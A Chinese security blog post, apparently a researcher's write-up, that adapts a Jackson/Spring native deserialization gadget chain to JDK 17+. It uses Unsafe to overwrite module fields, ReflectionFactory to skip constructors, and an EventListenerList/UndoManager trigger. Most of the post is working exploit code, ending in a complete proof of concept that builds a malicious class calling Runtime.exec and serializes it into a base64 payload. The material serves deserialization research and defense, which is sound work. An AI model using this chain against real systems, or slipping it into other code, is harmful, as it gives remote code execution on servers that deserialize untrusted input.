环境准备 我这里是 JDK17.0.10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <dependencies > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-webmvc</artifactId > <version > 5.2.3.RELEASE</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.13.3</version > </dependency > </dependencies >
利用链分析 这是 jdk8 版本的 jackson 反序列化链,感兴趣的师傅可以看我之前的分析文章:https://infernity.top/2025/03/05/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import cn.org.unk.UnsafeTools;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;public class test2 { public static void main (String[] args) throws Exception { overrideJackson(); byte [] bytes = getshortclass("calc" ); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); Object proxyObj = getPOJONodeStableProxy(templates); POJONode pojoNode = new POJONode (proxyObj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setValue(badAttributeValueExpException, "val" , pojoNode); String a = serialize(badAttributeValueExpException); unserialize(a); } public static void overrideJackson () throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static Object getPOJONodeStableProxy (Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{Templates.class}, handler); return proxyObj; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static Object getTemplates (byte [] bytes) throws Exception { Templates templates = new TemplatesImpl (); setValue(templates, "_bytecodes" , new byte [][]{bytes}); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; } public static void unserialize (String exp) throws IOException,ClassNotFoundException{ byte [] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } public static byte [] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("evil" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; } }
JDK 高版本的模块封装限制 如果直接在 jdk17 上运行上面的代码,会报错如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte [],int ,int ,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @2d363fb3 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354 ) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297 ) at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199 ) at java.base/java.lang.reflect.Method.setAccessible(Method.java:193 ) at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159 ) at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213 ) at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52 ) at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260 ) at javassist.ClassPool.toClass(ClassPool.java:1232 ) at javassist.ClassPool.toClass(ClassPool.java:1090 ) at javassist.ClassPool.toClass(ClassPool.java:1048 ) at javassist.CtClass.toClass(CtClass.java:1290 ) at test2.overrideJackson(test2.java:40 ) at test2.main(test2.java:20 )
异常核心是这句:
1 Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(...) accessible
意思是,代码想通过反射强行访问:ClassLoader#defineClass(...)
这个方法属于:java.lang.ClassLoader
而 java.lang 在 JDK 模块系统里属于:module java.base
但异常又说:module java.base does not "opens java.lang" to unnamed module
意思是:JDK 的 java.base模块没有把 java.lang 包开放给你的普通 classpath 代码,所以你不能再随便 setAccessible(true) 去访问它。
从 JDK 9 开始,Java 引入了 JPMS 模块系统;JDK 17 进一步强化了 JDK 内部 API 的强封装,默认不再允许大量反射访问 JDK 内部或非公开成员。OpenJDK 的 JEP 261 是模块系统的基础,JEP 403 则明确推进了 JDK 内部元素的强封装。
简单理解:
1 2 3 4 5 6 7 8 JDK 8: 很多反射 setAccessible(true) 可以直接绕过访问限制 JDK 9~15: 开始有模块系统,很多非法反射会报警告 JDK 16/17+: 限制变严格,很多以前能跑的反射代码直接报 InaccessibleObjectException
不允许访问的模块有: 1 2 3 java.lang.ClassLoader#defineClass、 java.lang.Class#private 字段、 String#value 等非 public 成员、还有许多不一一列举了。
以及常见的 JDK 内部 API 这些包名前缀:
1 2 3 4 sun.* com.sun.* jdk.* jdk.internal.*
不过也有例外:sun.misc 和 sun.reflect 这类“关键内部 API”仍然由 jdk.unsupported 模块导出/开放,JEP 403 明确提到它们仍可访问,其他 JDK 包则不会这样默认开放。
Unsafe 类 Unsafe 是位于 sun.misc 包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等。但它绕过了 Java 的安全机制,使用不当可能造成内存错误、程序崩溃或兼容性问题,因此普通业务代码中应尽量避免直接使用。
如下图所示,Unsafe提供的API大致可分为内存操作、CAS、Class相关、对象操作、线程调度、系统信息获取、内存屏障、数组操作等几类。
在Class相关部分主要提供Class和它的静态字段的操作相关方法,包含静态字段内存定位、定义类、定义匿名类、检验&确保初始化等。
1 2 3 4 5 6 7 8 9 10 11 12 public native long staticFieldOffset (Field f) ;public native Object staticFieldBase (Field f) ;public native boolean shouldBeInitialized (Class<?> c) ;public native void ensureClassInitialized (Class<?> c) ;public native Class<?> defineClass(String name, byte [] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);public native Class<?> defineAnonymousClass(Class<?> hostClass, byte [] data, Object[] cpPatches);
在对象操作部分主要包含对象成员属性相关操作及非常规的对象实例化方式等相关方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public native long objectFieldOffset (Field f) ;public native Object getObject (Object o, long offset) ;public native void putObject (Object o, long offset, Object x) ;public native Object getObjectVolatile (Object o, long offset) ;public native void putObjectVolatile (Object o, long offset, Object x) ;public native void putOrderedObject (Object o, long offset, Object x) ;public native Object allocateInstance (Class<?> cls) throws InstantiationException;
获取 Unsafe 类的实例
在 Unsafe 类的源码中,它的设计初衷就是整个 JVM 运行过程中只存在一个实例。
私有构造函数 :Unsafe 的构造方法是 private 的,这意味着外部类无法通过 new Unsafe() 来创建对象。
静态常量 :它在内部定义了一个 private static final Unsafe theUnsafe = new Unsafe();。由于是 static final,这个变量在类加载时就会被初始化,且之后无法更改,保证了全局唯一性。
由于sun.misc.*仍然由 jdk.unsupported 模块导出/开放,所以我们可以通过反射来获取单例对象theUnsafe。
1 2 3 4 5 6 private static Unsafe getUnsafe () throws Exception{ Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); return (Unsafe) field.get(null ); }
现在有了 Unsafe 类的实例之后,该如何利用它来打破 JDK17+ 的强封装module限制呢?
setAccessible 在 Java 中,setAccessible 是一个用于改变 Java 反射时对私有属性或方法访问限制的方法。它是java.lang.reflect.AccessibleObject类的一个方法,该类是 Field、Method 和 Constructor 等类的超类。setAccessible(true)方法允许绕过 Java 的访问控制检查,从而访问私有(private)或受保护(protected)的属性和方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @Override @CallerSensitive public void setAccessible (boolean flag) { AccessibleObject.checkPermission(); if (flag) checkCanSetAccessible(Reflection.getCallerClass()); setAccessible0(flag); }static void checkPermission () { @SuppressWarnings("removal") SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkPermission(SecurityConstants.ACCESS_PERMISSION); } }@Deprecated(since="17", forRemoval=true) public static SecurityManager getSecurityManager () { if (allowSecurityManager()) { return security; } else { return null ; } }
审计setAccessible方法,首先调用 AccessibleObject 类的静态方法checkPermission(),该方法检查当前的安全策略是否允许改变访问控制;如果不允许,会抛出 SecurityException 。
接着,当设置非公共字段或方法的访问权限为 true 时,会调用Reflection.getCallerClass()方法获取调用setAccessible方法的类(不包括匿名内部类)。然后把类交给checkCanSetAccessible方法,这个方法检查调用setAccessible方法的类是否有权限改变访问控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private boolean checkCanSetAccessible (Class<?> caller,Class<?> declaringClass,boolean throwExceptionIfDenied) { if (caller == MethodHandle.class) { throw new IllegalCallerException (); } Module callerModule = caller.getModule(); Module declaringModule = declaringClass.getModule(); if (callerModule == declaringModule) return true ; if (callerModule == Object.class.getModule()) return true ; if (!declaringModule.isNamed()) return true ; ……………… }
跟进java.lang.reflect.AccessibleObject#checkCanSetAccessible方法,可以看到,callerModule 用于识别访问发起方 所属的模块,而 declaringModule 则代表被访问成员定义类 所在的模块,若二者满足以下任一条件则直接放行:
同模块访问 :调用者与目标类位于同一模块。
核心特权 :调用者来自核心模块(如 java.base)。
兼容模式 :目标类位于未命名模块(即传统的 ClassPath 路径)。
因此,我们这里可以尝试利用 Unsafe 类来修改当前类的 module 属性为Object.class.getModule()来进行绕过。
这里利用 @unknown 写好的类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package cn.org.unk;import sun.misc.Unsafe;import java.lang.reflect.Field;public class UnsafeTools { private static Unsafe getUnsafe () throws Exception{ Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); return (Unsafe) field.get(null ); } public static void bypassModule (Class clazz) throws Exception{ setFieldValue(clazz,"module" , Object.class.getModule()); } public static void setFieldValue (Object obj,Field field,Object value) throws Exception{ Unsafe unsafe = getUnsafe(); long offset = unsafe.objectFieldOffset(field); unsafe.putObject(obj, offset, value); } public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception{ Field declaredField = obj.getClass().getDeclaredField(fieldName); setFieldValue(obj, declaredField,value); } }
回到最开始的报错,在overrideJackson()函数中有如下报错,
1 at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159 )
我们只需要在overrideJackson()里加一行即可绕过。 直接从内存层面将 javassist.util.proxy.SecurityActions 类的 module 字段修改为 Object.class.getModule()(即 java.base 核心模块)。 后面执行 setAccessible 时,JVM 会进入 checkCanSetAccessible 逻辑,此时 callerModule 已经被改成了 java.base 的模块,于是直接返回 true。
1 2 3 4 5 6 7 8 9 public static void overrideJackson () throws Exception { UnsafeTools.bypassModule(Class.forName("javassist.util.proxy.SecurityActions" )); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); }
TemplatesImpl 下一个报错,
1 2 Exception in thread "main" java.lang.IllegalAccessError: class test2 (in unnamed module @0x311d617d ) cannot access class com .sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x311d617d at test2.getshortclass(test2.java:92 )
代码试图直接访问AbstractTranslet类(位于 java.xml 模块的 com.sun.org.apache.xalan.internal...包下),JVM 发现这个包没有被导出,于是抛出 IllegalAccessError。
那好,我就直接调用上面写的 UnsafeTools.bypassModule(test2.class),这样 JVM 就会认为我的 test2 类具有访问系统内部类的特权。
但实际上加上绕过代码还是会报相同的错,原因是setAccessible的校验 与 类加载/继承的校验 是两个完全不同的阶段:
setAccessible校验 :这是 Java 代码层面的检查。当人为修改了 test2 的 module 为 java.base,setAccessible这种 API 会被骗过,认为你是“自己人”。
IllegalAccessError(符号引用链接校验) :这是 JVM 内核(C++ 层)在类链接阶段 触发的。当你执行到包含 AbstractTranslet.class 的代码,或者生成的类 evil 试图继承 AbstractTranslet 时,JVM 的链接器(Linker)会根据其内部维护的模块拓扑表 进行检查。
即便我们在 Java 层篡改了 Class 对象里的 module 字段,JVM 底层 C++ 空间的ModuleEntry(真正的模块权限定义)并没有变 。
JVM 依然知道 java.xml 模块没有将该包导出给类 evil 或 test2 所在的 Unnamed Module。这种基于字节码指令和符号引用的硬性约束,是无法通过简单修改 Java 对象的字段来绕过的。
那这里我们只能不让 evil 类继承AbstractTranslet 类了。但是,在 Java 的 TemplatesImpl 链式漏洞利用中,被加载的类必须是 AbstractTranslet 的子类,否则加载过程中会抛出异常。我们再来一起复习一下。
JDK8 com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
这里_name不能为null,_class要为 null 才会走到defineTransletClasses方法:
这里首先调用的 for 循环来遍历_bytecodes变量并将其赋值给_class数组,接着判断父类是否是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果是,则赋值数组下标_transletIndex,否则就抛出异常。也就是说,TemplatesImpl 的利用链所使用的恶意类是AbstractTranslet 的子类。
JDK17 当类不继承AbstractTranslet 时,会向_auxClasses 中 put 数据,因此还需要保证_auxClasses不为空,需要实例化 _auxClasses。
就在同方法的上面,如果final int classCount = _bytecodes.length;大于 1,就会自动将_auxClasses赋值为 HashMap 的实例。也就是说,我们构造 payload 的时候, _bytecodes就不能只写一个恶意类了,还要随便再写一个类。
再往下看,由于没有进 if 语句,所以_transletIndex是默认的-1,为了不抛出 Error, 这里得通过反射修改_transletIndex 的数值,修改为多少呢?
再回到getTransletInstance()方法,这里执行了_class[_transletIndex].getConstructor().newInstance();这里就是 sink 点了,如果在_bytecodes里,把恶意类放到了第一个位置,那么在defineTransletClasses()方法里,_class[0]的位置将会是恶意代码的类。
答案就显而易见了,如果在 bytecodes里,把恶意类放到了第一个位置,那么 _transletIndex的值应该是 0
获取内部类对象 根据我们上面的分析,现在getshortclass方法和getTemplates方法应该这样修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static byte [] getshortclass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("evil" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; }public static Object getTemplates (byte [] bytes) throws Exception { Templates templates = new TemplatesImpl (); ClassPool pool = ClassPool.getDefault(); byte [] foo = pool.makeClass("Foo" ).toBytecode(); UnsafeTools.bypassModule(test.class); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setValue(templates, "_bytecodes" , new byte [][] {bytes, foo}); setValue(templates, "_transletIndex" , 0 ); return templates; }
但是在获取TemplatesImpl的实例的时候,还是包了模块封装的错,因为UnsafeTools.bypassModule();只能解决setAccessible的报错, 不能解决 “跨模块构造器生成” 的限制。
还记得上文说sun.reflect.*是默认可以被访问的吗?这里用 unknown 写好的两个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package cn.org.unk;import sun.reflect.ReflectionFactory;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class Util17 { static { try { UnsafeTools.bypassModule(Util17.class); } catch (Exception e) { throw new RuntimeException (e); } } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws Exception{ return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T) sc.newInstance(consArgs); } ………… }
代码的关键在于 sun.reflect.ReflectionFactory。这是 JDK 内部使用的一个类(非公开 API),主要用于实现 Java 序列化(Serialization) 机制。
在 Java 序列化中,当一个对象被反序列化时,如果该类实现了 Serializable 接口,JVM 需要一种方式来创建该类的实例,而不调用该类本身的构造函数 。它只会调用该类向上追溯到的第一个非序列化父类 的无参构造函数。而ReflectionFactory 提供了实现这一行为的底层工具。
createWithConstructor 方法:获取父类构造器 :
1 Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
它首先获取指定的 constructorClass(通常是父类或 Object)的构造函数。
生成伪造的构造器 :
1 Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
这是最神奇的一步,newConstructorForSerialization 会创建一个新的构造器对象 。这个构造器在调用时:
内存分配是按照 classToInstantiate(你想创建的类)的大小进行的。
但执行的构造逻辑却是 objCons(父类的构造逻辑)。
它完全跳过了classToInstantiate及其所有子类构造函数的执行。
实例化 :
1 return (T) sc.newInstance(consArgs);
调用这个特殊的构造器,返回一个 classToInstantiate 类型的实例, 最后 (T) 是强制类型转换。
createWithoutConstructor 方法:这是对上面的简化封装。
它将 Object.class 作为 constructorClass 传入。
因为 Java 中所有的类都继承自 Object,而 Object 都有一个无参构造函数。
结果 :创建了 classToInstantiate 的对象,但没有运行该类定义的任何构造代码。
为什么它能创建“任意”类的对象? 通常情况下,我们创建对象受限于以下约束,而这段代码全部绕过了它们:
绕过私有构造函数 :即使类的构造函数是 private 的,这段代码也不会调用它,因此不受访问修饰符的限制。
无需默认构造函数 :目标类不需要有无参构造函数,甚至不需要有任何能访问到的构造函数。
绕过初始化逻辑 :如果某个类的构造函数中抛出了异常,或者有非常复杂的逻辑(比如连接数据库),使用这种方法可以完全跳过这些逻辑,直接在堆内存中划出一块该类大小的空间并返回。
有了这两个方法,就可以绕过限制,获取TransformerFactoryImpl和TemplatesImpl的对象了。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static Object getTemplates (byte [] bytes) throws Exception { Object templates = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" )); Object transformerFactoryImpl = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" )); ClassPool pool = ClassPool.getDefault(); byte [] foo = pool.makeClass("Foo" ).toBytecode(); Util17.setFieldValue(templates, "_name" , "Infernity" ); Util17.setFieldValue(templates, "_tfactory" , transformerFactoryImpl); Util17.setFieldValue(templates, "_bytecodes" , new byte [][] {bytes, foo}); Util17.setFieldValue(templates, "_transletIndex" , 0 ); return templates; }
BadAttributeValueExpException 由于badAttributeValueExpException这里也使用了setValue(badAttributeValueExpException, "val", pojoNode);,这里直接换成Util17.setFieldValue。
但是还是报错:Exception in thread “main” java.lang.IllegalArgumentException: Can not set java.lang.String field javax.management.BadAttributeValueExpException.val to com.fasterxml.jackson.databind.node.POJONode
这是因为在 jdk17,val 写死了 String 类型。而在 jdk8 是private Object val;, 类型为 Object
退一万步来说,就算 val 的类型还是 Object,还是不会成功,原因如下:
这是 JDK8 中 badAttributeValueExpException类的readObject方法:
这是 JDK17 中 badAttributeValueExpException类的readObject方法:
可以看到高版本 jdk 中已经没有valObj.toString()了,也就是说高版本badAttributeValueExpException调用任意类 toString 这条 gadget 已经失效了,我们得另寻他法。
EventListenerList 我之前还写过一篇文章,EventListenerList 调用任意类 toString:
https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString
感兴趣的师傅们可以再去看看,这里直接把函数搬过来:
1 2 3 4 5 6 7 8 9 10 11 public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) Util17.getFieldValue(undomanager, "edits" ); vector.add(obj); Util17.setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; }
最终 POC 至此,jdk17+ 的Jackson链构造完成🎉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 import cn.org.unk.UnsafeTools;import cn.org.unk.Util17;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Vector;public class test2 { public static void main (String[] args) throws Exception { overrideJackson(); byte [] bytes = getshortclass("calc" ); Object templates = getTemplates(bytes); Object proxyObj = getPOJONodeStableProxy(templates); POJONode pojoNode = new POJONode (proxyObj); EventListenerList list = getEventListenerList(pojoNode); String a = serialize(list); System.out.println(a); unserialize(a); } public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) Util17.getFieldValue(undomanager, "edits" ); vector.add(obj); Util17.setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; } public static void overrideJackson () throws Exception { UnsafeTools.bypassModule(Class.forName("javassist.util.proxy.SecurityActions" )); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static Object getPOJONodeStableProxy (Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{Templates.class}, handler); return proxyObj; } public static Object getTemplates (byte [] bytes) throws Exception { Object templates = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" )); Object transformerFactoryImpl = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" )); ClassPool pool = ClassPool.getDefault(); byte [] foo = pool.makeClass("Foo" ).toBytecode(); Util17.setFieldValue(templates, "_name" , "Infernity" ); Util17.setFieldValue(templates, "_tfactory" , transformerFactoryImpl); Util17.setFieldValue(templates, "_bytecodes" , new byte [][] {bytes, foo}); Util17.setFieldValue(templates, "_transletIndex" , 0 ); return templates; } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; } public static void unserialize (String exp) throws IOException,ClassNotFoundException{ byte [] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } public static byte [] getshortclass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("evil" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; } }
参考文章:https://h3rmesk1t.github.io/2024/10/23/Unsafe%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6/
https://github.com/un1novvn/Java-unser-utils-17/
https://www.cnblogs.com/Chary/articles/19487520